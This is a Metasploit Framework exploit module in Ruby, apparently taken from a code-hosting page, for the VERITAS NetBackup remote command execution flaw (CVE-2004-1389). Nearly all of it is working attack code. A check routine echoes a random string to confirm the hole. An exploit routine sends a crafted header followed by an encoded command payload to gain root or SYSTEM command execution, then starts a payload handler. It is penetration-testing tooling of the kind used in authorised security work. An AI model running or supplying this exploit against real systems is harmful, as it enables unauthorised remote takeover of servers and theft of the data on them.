93 lines
2.2 KiB
Ruby
93 lines
2.2 KiB
Ruby
##
|
|
# This file is part of the Metasploit Framework and may be subject to
|
|
# redistribution and commercial restrictions. Please see the Metasploit
|
|
# web site for more information on licensing and terms of use.
|
|
# http://metasploit.com/
|
|
##
|
|
|
|
require 'msf/core'
|
|
|
|
class Metasploit3 < Msf::Exploit::Remote
|
|
Rank = ExcellentRanking
|
|
|
|
include Msf::Exploit::Remote::Tcp
|
|
|
|
def initialize(info = {})
|
|
super(update_info(info,
|
|
'Name' => 'VERITAS NetBackup Remote Command Execution',
|
|
'Description' => %q{
|
|
This module allows arbitrary command execution on an
|
|
ephemeral port opened by Veritas NetBackup, whilst an
|
|
administrator is authenticated. The port is opened and
|
|
allows direct console access as root or SYSTEM from
|
|
any source address.
|
|
},
|
|
'Author' => [ 'patrick' ],
|
|
'License' => MSF_LICENSE,
|
|
'References' =>
|
|
[
|
|
[ 'CVE', '2004-1389' ],
|
|
[ 'OSVDB', '11026' ],
|
|
[ 'BID', '11494' ],
|
|
[ 'URL', 'http://seer.support.veritas.com/docs/271727.htm' ],
|
|
|
|
],
|
|
'Privileged' => true,
|
|
'Platform' => ['unix', 'win', 'linux'],
|
|
'Arch' => ARCH_CMD,
|
|
'Payload' =>
|
|
{
|
|
'Space' => 1024,
|
|
'BadChars' => '',
|
|
'DisableNops' => true,
|
|
'Compat' =>
|
|
{
|
|
'PayloadType' => 'cmd',
|
|
'RequiredCmd' => 'generic perl telnet',
|
|
}
|
|
},
|
|
'Targets' =>
|
|
[
|
|
['Automatic', { }],
|
|
],
|
|
'DisclosureDate' => 'Oct 21 2004',
|
|
'DefaultTarget' => 0))
|
|
end
|
|
|
|
def check
|
|
connect
|
|
|
|
sploit = rand_text_alphanumeric(10)
|
|
buf = "\x20\x20\x201\x20\x20\x20\x20\x20\x201\necho #{sploit}\n"
|
|
|
|
sock.put(buf)
|
|
banner = sock.get(3,3)
|
|
|
|
disconnect
|
|
|
|
if (banner and banner =~ /#{sploit}/)
|
|
return Exploit::CheckCode::Vulnerable
|
|
end
|
|
return Exploit::CheckCode::Safe
|
|
end
|
|
|
|
def exploit
|
|
connect
|
|
|
|
sploit = payload.encoded.split(" ")
|
|
|
|
buf = "\x20\x20\x201\x20\x20\x20\x20\x20\x201\n"
|
|
buf << payload.encoded
|
|
buf << "\n"
|
|
|
|
sock.put(buf)
|
|
res = sock.get(-1,3)
|
|
|
|
print_status(res.to_s)
|
|
|
|
handler
|
|
disconnect
|
|
end
|
|
|
|
end
|